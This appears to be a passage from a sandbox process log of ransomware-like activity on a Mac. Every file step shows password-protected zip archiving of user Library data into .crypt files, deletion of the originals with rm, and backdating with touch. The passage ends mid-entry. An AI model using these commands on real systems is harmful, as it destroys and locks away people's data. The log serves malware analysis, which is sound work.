- /usr/bin/rm
  rm "/Users//run/Library/Application Support/syncdefaultsd"
  2⤵
  PID:1071
- /bin/rm
  rm "/Users//run/Library/Application Support/syncdefaultsd"
  2⤵
  PID:1071
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/Dock.crypt" "/Users//run/Library/Application Support/Dock"
  2⤵
  PID:1072
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Dock"
  2⤵
  PID:1073
- /bin/rm
  rm "/Users//run/Library/Application Support/Dock"
  2⤵
  PID:1073
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/Dock/desktoppicture.db.crypt" "/Users//run/Library/Application Support/Dock/desktoppicture.db"
  2⤵
  PID:1074
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Dock/desktoppicture.db"
  2⤵
  PID:1075
- /bin/rm
  rm "/Users//run/Library/Application Support/Dock/desktoppicture.db"
  2⤵
  PID:1075
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Dock/desktoppicture.db.crypt"
  2⤵
  PID:1076
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage.crypt" "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage"
  2⤵
  PID:1077
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage"
  2⤵
  PID:1078
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage"
  2⤵
  PID:1078
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/KeysSyncingVersion3-(null)-ProtectedCloudStorage.db.crypt" "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/KeysSyncingVersion3-(null)-ProtectedCloudStorage.db"
  2⤵
  PID:1079
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/KeysSyncingVersion3-(null)-ProtectedCloudStorage.db"
  2⤵
  PID:1080
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/KeysSyncingVersion3-(null)-ProtectedCloudStorage.db"
  2⤵
  PID:1080
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/KeysSyncingVersion3-(null)-ProtectedCloudStorage.db.crypt"
  2⤵
  PID:1081
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/KeysSyncingVersion3-(null)-ProtectedCloudStorage.db-shm.crypt" "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/KeysSyncingVersion3-(null)-ProtectedCloudStorage.db-shm"
  2⤵
  PID:1082
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/KeysSyncingVersion3-(null)-ProtectedCloudStorage.db-shm"
  2⤵
  PID:1083
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/KeysSyncingVersion3-(null)-ProtectedCloudStorage.db-shm"
  2⤵
  PID:1083
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/KeysSyncingVersion3-(null)-ProtectedCloudStorage.db-shm.crypt"
  2⤵
  PID:1084
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/PCSAnalytics.db-wal.crypt" "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/PCSAnalytics.db-wal"
  2⤵
  PID:1085
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/PCSAnalytics.db-wal"
  2⤵
  PID:1086
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/PCSAnalytics.db-wal"
  2⤵
  PID:1086
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/PCSAnalytics.db-wal.crypt"
  2⤵
  PID:1087
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/PCSAnalytics.db-shm.crypt" "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/PCSAnalytics.db-shm"
  2⤵
  PID:1088
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/PCSAnalytics.db-shm"
  2⤵
  PID:1089
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/PCSAnalytics.db-shm"
  2⤵
  PID:1089
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/PCSAnalytics.db-shm.crypt"
  2⤵
  PID:1090
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/KeysSyncingVersion3-(null)-ProtectedCloudStorage.db-wal.crypt" "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/KeysSyncingVersion3-(null)-ProtectedCloudStorage.db-wal"
  2⤵
  PID:1091
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/KeysSyncingVersion3-(null)-ProtectedCloudStorage.db-wal"
  2⤵
  PID:1092
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/KeysSyncingVersion3-(null)-ProtectedCloudStorage.db-wal"
  2⤵
  PID:1092
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/KeysSyncingVersion3-(null)-ProtectedCloudStorage.db-wal.crypt"
  2⤵
  PID:1093
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/PCSAnalytics.db.crypt" "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/PCSAnalytics.db"
  2⤵
  PID:1094
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/PCSAnalytics.db"
  2⤵
  PID:1095
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/PCSAnalytics.db"
  2⤵
  PID:1095
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.ProtectedCloudStorage/PCSAnalytics.db.crypt"
  2⤵
  PID:1096
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Maps.crypt /Users//run/Library/Maps
  2⤵
  PID:1097
- /usr/bin/rm
  rm /Users//run/Library/Maps
  2⤵
  PID:1098
- /bin/rm
  rm /Users//run/Library/Maps
  2⤵
  PID:1098
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Maps/ReportAProblem.crypt /Users//run/Library/Maps/ReportAProblem
  2⤵
  PID:1099
- /usr/bin/rm
  rm /Users//run/Library/Maps/ReportAProblem
  2⤵
  PID:1100
- /bin/rm
  rm /Users//run/Library/Maps/ReportAProblem
  2⤵
  PID:1100
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Maps/ReportAProblem/Notifications.crypt /Users//run/Library/Maps/ReportAProblem/Notifications
  2⤵
  PID:1101
- /usr/bin/rm
  rm /Users//run/Library/Maps/ReportAProblem/Notifications
  2⤵
  PID:1102
- /bin/rm
  rm /Users//run/Library/Maps/ReportAProblem/Notifications
  2⤵
  PID:1102
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Assistant.crypt /Users//run/Library/Assistant
  2⤵
  PID:1103
- /usr/bin/rm
  rm /Users//run/Library/Assistant
  2⤵
  PID:1104
- /bin/rm
  rm /Users//run/Library/Assistant
  2⤵
  PID:1104
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Assistant/session_did_finish_timestamp.crypt /Users//run/Library/Assistant/session_did_finish_timestamp
  2⤵
  PID:1105
- /usr/bin/rm
  rm /Users//run/Library/Assistant/session_did_finish_timestamp
  2⤵
  PID:1106
- /bin/rm
  rm /Users//run/Library/Assistant/session_did_finish_timestamp
  2⤵
  PID:1106
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/Assistant/session_did_finish_timestamp.crypt
  2⤵
  PID:1107
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Assistant/SiriAnalytics.db.crypt /Users//run/Library/Assistant/SiriAnalytics.db
  2⤵
  PID:1108
- /usr/bin/rm
  rm /Users//run/Library/Assistant/SiriAnalytics.db
  2⤵
  PID:1109
- /bin/rm
  rm /Users//run/Library/Assistant/SiriAnalytics.db
  2⤵
  PID:1109
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/Assistant/SiriAnalytics.db.crypt
  2⤵
  PID:1110
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Assistant/sync_flagcom.apple.siri.corrections.crypt /Users//run/Library/Assistant/sync_flagcom.apple.siri.corrections
  2⤵
  PID:1111
- /usr/bin/rm
  rm /Users//run/Library/Assistant/sync_flagcom.apple.siri.corrections
  2⤵
  PID:1112
- /bin/rm
  rm /Users//run/Library/Assistant/sync_flagcom.apple.siri.corrections
  2⤵
  PID:1112
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/Assistant/sync_flagcom.apple.siri.corrections.crypt
  2⤵
  PID:1113
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Assistant/sync_flagcom.apple.siri.applications.crypt /Users//run/Library/Assistant/sync_flagcom.apple.siri.applications
  2⤵
  PID:1114
- /usr/bin/rm
  rm /Users//run/Library/Assistant/sync_flagcom.apple.siri.applications
  2⤵
  PID:1115
- /bin/rm
  rm /Users//run/Library/Assistant/sync_flagcom.apple.siri.applications
  2⤵
  PID:1115
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/Assistant/sync_flagcom.apple.siri.applications.crypt
  2⤵
  PID:1116
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Assistant/sync_flagcom.apple.maps.crypt /Users//run/Library/Assistant/sync_flagcom.apple.maps
  2⤵
  PID:1117
- /usr/bin/rm
  rm /Users//run/Library/Assistant/sync_flagcom.apple.maps
  2⤵
  PID:1118
- /bin/rm
  rm /Users//run/Library/Assistant/sync_flagcom.apple.maps
  2⤵
  PID:1118
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/Assistant/sync_flagcom.apple.maps.crypt
  2⤵
  PID:1119
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Autosave Information.crypt" "/Users//run/Library/Autosave Information"
  2⤵
  PID:1120
- /usr/bin/rm
  rm "/Users//run/Library/Autosave Information"
  2⤵
  PID:1121
- /bin/rm
  rm "/Users//run/Library/Autosave Information"
  2⤵
  PID:1121
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Saved Application State.crypt" "/Users//run/Library/Saved Application State"
  2⤵
  PID:1122
- /usr/bin/rm
  rm "/Users//run/Library/Saved Application State"
  2⤵
  PID:1123
- /bin/rm
  rm "/Users//run/Library/Saved Application State"
  2⤵
  PID:1123
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Saved Application State/com.apple.Safari.savedState.crypt" "/Users//run/Library/Saved Application State/com.apple.Safari.savedState"
  2⤵
  PID:1124
- /usr/bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.Safari.savedState"
  2⤵
  PID:1125
- /bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.Safari.savedState"
  2⤵
  PID:1125
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Saved Application State/com.apple.Safari.savedState.crypt"
  2⤵
  PID:1126
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Saved Application State/com.apple.finder.savedState.crypt" "/Users//run/Library/Saved Application State/com.apple.finder.savedState"
  2⤵
  PID:1127
- /usr/bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.finder.savedState"
  2⤵
  PID:1128
- /bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.finder.savedState"
  2⤵
  PID:1128
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Saved Application State/com.apple.finder.savedState/window_1.data.crypt" "/Users//run/Library/Saved Application State/com.apple.finder.savedState/window_1.data"
  2⤵
  PID:1129
- /usr/bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.finder.savedState/window_1.data"
  2⤵
  PID:1130
- /bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.finder.savedState/window_1.data"
  2⤵
  PID:1130
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Saved Application State/com.apple.finder.savedState/window_1.data.crypt"
  2⤵
  PID:1131
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Saved Application State/com.apple.finder.savedState/windows.plist.crypt" "/Users//run/Library/Saved Application State/com.apple.finder.savedState/windows.plist"
  2⤵
  PID:1132
- /usr/bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.finder.savedState/windows.plist"
  2⤵
  PID:1133
- /bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.finder.savedState/windows.plist"
  2⤵
  PID:1133
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Saved Application State/com.apple.finder.savedState/windows.plist.crypt"
  2⤵
  PID:1134
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Saved Application State/com.apple.finder.savedState/data.data.crypt" "/Users//run/Library/Saved Application State/com.apple.finder.savedState/data.data"
  2⤵
  PID:1135
- /usr/bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.finder.savedState/data.data"
  2⤵
  PID:1136
- /bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.finder.savedState/data.data"
  2⤵
  PID:1136
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Saved Application State/com.apple.finder.savedState/data.data.crypt"
  2⤵
  PID:1137
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState.crypt" "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState"
  2⤵
  PID:1138
- /usr/bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState"
  2⤵
  PID:1139
- /bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState"
  2⤵
  PID:1139
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/window_1.data.crypt" "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/window_1.data"
  2⤵
  PID:1140
- /usr/bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/window_1.data"
  2⤵
  PID:1141
- /bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/window_1.data"
  2⤵
  PID:1141
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/window_1.data.crypt"
  2⤵
  PID:1142
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/windows.plist.crypt" "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/windows.plist"
  2⤵
  PID:1143
- /usr/bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/windows.plist"
  2⤵
  PID:1144
- /bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/windows.plist"
  2⤵
  PID:1144
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/windows.plist.crypt"
  2⤵
  PID:1145
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/window_2.data.crypt" "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/window_2.data"
  2⤵
  PID:1146
- /usr/bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/window_2.data"
  2⤵
  PID:1147
- /bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/window_2.data"
  2⤵
  PID:1147
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/window_2.data.crypt"
  2⤵
  PID:1148
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/data.data.crypt" "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/data.data"
  2⤵
  PID:1149
- /usr/bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/data.data"
  2⤵
  PID:1150
- /bin/rm
  rm "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/data.data"
  2⤵
  PID:1150
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/data.data.crypt"
  2⤵
  PID:1151
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/IdentityServices.crypt /Users//run/Library/IdentityServices
  2⤵
  PID:1152
- /usr/bin/rm
  rm /Users//run/Library/IdentityServices
  2⤵
  PID:1153
- /bin/rm
  rm /Users//run/Library/IdentityServices
  2⤵
  PID:1153
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/IdentityServices/incomingfiles.crypt /Users//run/Library/IdentityServices/incomingfiles
  2⤵
  PID:1154
- /usr/bin/rm
  rm /Users//run/Library/IdentityServices/incomingfiles
  2⤵
  PID:1155
- /bin/rm
  rm /Users//run/Library/IdentityServices/incomingfiles
  2⤵
  PID:1155
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/IdentityServices/ids-pub-id.db.crypt /Users//run/Library/IdentityServices/ids-pub-id.db
  2⤵
  PID:1156
- /usr/bin/rm
  rm /Users//run/Library/IdentityServices/ids-pub-id.db
  2⤵
  PID:1157
- /bin/rm
  rm /Users//run/Library/IdentityServices/ids-pub-id.db
  2⤵
  PID:1157
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/IdentityServices/ids-pub-id.db.crypt
  2⤵
  PID:1158
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/IdentityServices/ids.db.crypt /Users//run/Library/IdentityServices/ids.db
  2⤵
  PID:1159
- /usr/bin/rm
  rm /Users//run/Library/IdentityServices/ids.db
  2⤵
  PID:1160
- /bin/rm
  rm /Users//run/Library/IdentityServices/ids.db
  2⤵
  PID:1160
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/IdentityServices/ids.db.crypt
  2⤵
  PID:1161
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/IdentityServices/ids-pub-id.db-wal.crypt /Users//run/Library/IdentityServices/ids-pub-id.db-wal
  2⤵
  PID:1162
- /usr/bin/rm
  rm /Users//run/Library/IdentityServices/ids-pub-id.db-wal
  2⤵
  PID:1163
- /bin/rm
  rm /Users//run/Library/IdentityServices/ids-pub-id.db-wal
  2⤵
  PID:1163
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/IdentityServices/ids-pub-id.db-wal.crypt
  2⤵
  PID:1164
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/IdentityServices/ids-pub-id.db-shm.crypt /Users//run/Library/IdentityServices/ids-pub-id.db-shm
  2⤵
  PID:1165
- /usr/bin/rm
  rm /Users//run/Library/IdentityServices/ids-pub-id.db-shm
  2⤵
  PID:1166
- /bin/rm
  rm /Users//run/Library/IdentityServices/ids-pub-id.db-shm
  2⤵
  PID:1166
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/IdentityServices/ids-pub-id.db-shm.crypt
  2⤵
  PID:1167
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/IdentityServices/ids.db-wal.crypt /Users//run/Library/IdentityServices/ids.db-wal
  2⤵
  PID:1168
- /usr/bin/rm
  rm /Users//run/Library/IdentityServices/ids.db-wal
  2⤵
  PID:1169
- /bin/rm
  rm /Users//run/Library/IdentityServices/ids.db-wal
  2⤵
  PID:1169
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/IdentityServices/ids.db-wal.crypt
  2⤵
  PID:1170
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/IdentityServices/ids.db-shm.crypt /Users//run/Library/IdentityServices/ids.db-shm
  2⤵
  PID:1171
- /usr/bin/rm
  rm /Users//run/Library/IdentityServices/ids.db-shm
  2⤵
  PID:1172
- /bin/rm
  rm /Users//run/Library/IdentityServices/ids.db-shm
  2⤵
  PID:1172
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/IdentityServices/ids.db-shm.crypt
  2⤵
  PID:1173
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/WebKit.crypt /Users//run/Library/WebKit
  2⤵
  PID:1174
- /usr/bin/rm
  rm /Users//run/Library/WebKit
  2⤵
  PID:1175
- /bin/rm
  rm /Users//run/Library/WebKit
  2⤵
  PID:1175
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/WebKit/Databases.crypt /Users//run/Library/WebKit/Databases
  2⤵
  PID:1176
- /usr/bin/rm
  rm /Users//run/Library/WebKit/Databases
  2⤵
  PID:1177
- /bin/rm
  rm /Users//run/Library/WebKit/Databases
  2⤵
  PID:1177
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Calendars.crypt /Users//run/Library/Calendars
  2⤵
  PID:1178
- /usr/bin/rm
  rm /Users//run/Library/Calendars
  2⤵
  PID:1179
- /bin/rm
  rm /Users//run/Library/Calendars
  2⤵
  PID:1179
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar.crypt /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar
  2⤵
  PID:1180
- /usr/bin/rm
  rm /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar
  2⤵
  PID:1181
- /bin/rm
  rm /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar
  2⤵
  PID:1181
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/LocalDefaultAlarms.crypt /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/LocalDefaultAlarms
  2⤵
  PID:1182
- /usr/bin/rm
  rm /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/LocalDefaultAlarms
  2⤵
  PID:1183
- /bin/rm
  rm /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/LocalDefaultAlarms
  2⤵
  PID:1183
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/LocalDefaultAlarms/EventTimedAlarms.icsalarm.crypt /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/LocalDefaultAlarms/EventTimedAlarms.icsalarm
  2⤵
  PID:1184
- /usr/bin/rm
  rm /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/LocalDefaultAlarms/EventTimedAlarms.icsalarm
  2⤵
  PID:1185
- /bin/rm
  rm /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/LocalDefaultAlarms/EventTimedAlarms.icsalarm
  2⤵
  PID:1185
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/LocalDefaultAlarms/EventTimedAlarms.icsalarm.crypt
  2⤵
  PID:1186
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/LocalDefaultAlarms/EventAllDayAlarms.icsalarm.crypt /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/LocalDefaultAlarms/EventAllDayAlarms.icsalarm
  2⤵
  PID:1187
- /usr/bin/rm
  rm /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/LocalDefaultAlarms/EventAllDayAlarms.icsalarm
  2⤵
  PID:1188
- /bin/rm
  rm /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/LocalDefaultAlarms/EventAllDayAlarms.icsalarm
  2⤵
  PID:1188
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/LocalDefaultAlarms/EventAllDayAlarms.icsalarm.crypt
  2⤵
  PID:1189
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/Events.crypt /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/Events
  2⤵
  PID:1190
- /usr/bin/rm
  rm /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/Events
  2⤵
  PID:1191
- /bin/rm
  rm /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/Events
  2⤵
  PID:1191
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/Info.plist.crypt /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/Info.plist
  2⤵
  PID:1192
- /usr/bin/rm
  rm /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/Info.plist
  2⤵
  PID:1193
- /bin/rm
  rm /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/Info.plist
  2⤵
  PID:1193
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Library/Calendars/F66651E2-BD6D-4E90-A691-858A7B3EB620.calendar/Info.plist.crypt
  2⤵
  PID:1194
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Calendars/Calendar Sync Changes.crypt" "/Users//run/Library/Calendars/Calendar Sync Changes"
  2⤵
  PID:1195
- /usr/bin/rm
  rm "/Users//run/Library/Calendars/Calendar Sync Changes"
  2⤵
  PID:1196
- /bin/rm
  rm "/Users//run/Library/Calendars/Calendar Sync Changes"
  2⤵
  PID:1196
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar.crypt /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar
  2⤵
  PID:1197
- /usr/bin/rm
  rm /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar
  2⤵
  PID:1198
- /bin/rm
  rm /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar
  2⤵
  PID:1198
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/LocalDefaultAlarms.crypt /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/LocalDefaultAlarms
  2⤵
  PID:1199
- /usr/bin/rm
  rm /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/LocalDefaultAlarms
  2⤵
  PID:1200
- /bin/rm
  rm /Users//run/Library/Calendars/30F48AC3-23FA-4D4C-AA48-43A86BA1FDCF.calendar/LocalDefaultAlarms
  2⤵
  PID:1200
- /usr/bin/zip
